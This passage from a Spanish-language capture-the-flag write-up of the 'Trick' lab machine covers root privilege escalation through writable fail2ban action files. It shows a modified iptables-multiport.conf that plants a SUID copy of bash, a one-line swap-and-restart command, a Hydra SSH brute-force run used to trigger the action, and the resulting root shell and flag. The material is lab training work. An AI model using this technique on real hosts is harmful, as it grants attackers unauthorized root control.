<F-MLFFORGET>closed</F-MLFFORGET></F-NOFAIL> by <HOST>(?: \\[preauth\\])?\\s*$', '^<F-MLFFORGET><F-NOFAIL>Accepted publickey</F-NOFAIL></F-MLFFORGET> for \\S+ from <HOST>(?:\\s|$)', '^<F-NOFAIL>Connection from</F-NOFAIL> <HOST>']]
['set', 'sshd', 'datepattern', '{^LN-BEG}']
['set', 'sshd', 'addjournalmatch', '_SYSTEMD_UNIT=sshd.service', '+', '_COMM=sshd']
['set', 'sshd', 'addlogpath', '/var/log/auth.log', 'head']
['set', 'sshd', 'logencoding', 'auto']
['set', 'sshd', 'maxretry', 5]
['set', 'sshd', 'findtime', '10s']
['set', 'sshd', 'bantime', '10s']
['set', 'sshd', 'usedns', 'warn']
['set', 'sshd', 'ignorecommand', '']
['set', 'sshd', 'addaction', 'iptables-multiport']
['multi-set', 'sshd', 'action', 'iptables-multiport', [['actionstart', '<iptables> -N f2b-sshd\n<iptables> -A f2b-sshd -j RETURN\n<iptables> -I INPUT -p tcp -m multiport --dports ssh -j f2b-sshd'], ['actionstop', '<iptables> -D INPUT -p tcp -m multiport --dports ssh -j f2b-sshd\n<iptables> -F f2b-sshd\n<iptables> -X f2b-sshd'], ['actionflush', '<iptables> -F f2b-sshd'], ['actioncheck', "<iptables> -n -L INPUT | grep -q 'f2b-sshd[ \\t]'"], ['actionban', '<iptables> -I f2b-sshd 1 -s <ip> -j <blocktype>'], ['actionunban', '<iptables> -D f2b-sshd -s <ip> -j <blocktype>'], ['name', 'sshd'], ['bantime', '10s'], ['port', 'ssh'], ['protocol', 'tcp'], ['chain', '<known/chain>'], ['actname', 'iptables-multiport'], ['blocktype', 'REJECT --reject-with icmp-port-unreachable'], ['returntype', 'RETURN'], ['lockingopt', '-w'], ['iptables', 'iptables <lockingopt>'], ['blocktype?family=inet6', 'REJECT --reject-with icmp6-port-unreachable'], ['iptables?family=inet6', 'ip6tables <lockingopt>']]]
['start', 'sshd']
michael@trick:/etc/fail2ban$

Observamos la configuración del action.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
michael@trick:/etc/fail2ban/action.d$ cat iptables-multiport.conf |grep -v "#"

[INCLUDES]

before = iptables-common.conf

[Definition]

actionstart = <iptables> -N f2b-<name>
              <iptables> -A f2b-<name> -j <returntype>
              <iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>

actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
             <actionflush>
             <iptables> -X f2b-<name>

actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>

actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

[Init]

michael@trick:/etc/fail2ban/action.d$

Además observamos que tenemos permisos sobre los archivos dentro del directorio ya que pertenecemos al grupo security.

1
2
3
4
5
michael@trick:/etc/fail2ban/action.d$ ls -ld .
drwxrwx--- 2 root security 4096 Jun 30 07:48 .
michael@trick:/etc/fail2ban/action.d$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
michael@trick:/etc/fail2ban/action.d$

Los permisos del archivo no nos permite realizar modificaciones por lo que le cambiamos el nombre y creamos uno nuevo, en este agregamos un comando para darle permisos SUID a una copia de bash en la definicion de actionstart.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
[INCLUDES]

before = iptables-common.conf

[Definition]

actionstart = <iptables> -N f2b-<name>
              <iptables> -A f2b-<name> -j <returntype>
              <iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
              cp /bin/bash /tmp/fail2root && chmod 777 /tmp/fail2root && chmod +s /tmp/fail2root

actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
             <actionflush>
             <iptables> -X f2b-<name>

actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>

actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

[Init]

Damos permisos al archivo de configuración chmod 0644 iptables-multiport.conf.

Aparentemente existe un cronjob que restaura los archivos de configuracion, por lo que agregamos en una linea los comandos necesarios para modificar y reiniciar el servicio.

1
mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.bak && cp iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf && sudo /etc/init.d/fail2ban restart 

Luego de ello, ejecutamos un ataque con hydra, ya que fail2ban está activo en el servicio SSH tendría que activar el action que modificamos.

1
2
3
4
5
6
7
8
 π ~/htb/trick ❯ hydra -l root -P $ROCK ssh://10.10.11.166 -t 64
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-30 02:17:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://10.10.11.166:22/
^C

Luego de unos segundos observamos que la copia de bash fue realizada, ejecutamos bash con la flag -p logrando obtener una shell como root y finalmente la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
michael@trick:/dev/shm$ ls -l /tmp/fail2root
-rwsrwsrwx 1 root root 1168776 Jun 30 08:39 /tmp/fail2root
michael@trick:/dev/shm$ /tmp/fail2root -p
fail2root-5.0# id
uid=1001(michael) gid=1001(michael) euid=0(root) egid=0(root) groups=0(root),1001(michael),1002(security)
fail2root-5.0# cd /root
fail2root-5.0# ls
f2b.sh	fail2ban  root.txt  set_dns.sh
fail2root-5.0# cat root.txt
dd5e0d8e375ef57af87dbde9df704fca
fail2root-5.0#

Observamos en el directorio /root un script que restaura los archivos de configuracion de fail2ban.

1
2
3
4
5
6
7
8
fail2root-5.0# cat f2b.sh
#!/bin/bash

rm -rf /etc/fail2ban/*
cp -r /root/fail2ban /etc/
chown root:security /etc/fail2ban/action.d
chmod 770 /etc/fail2ban/action.d
fail2root-5.0#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe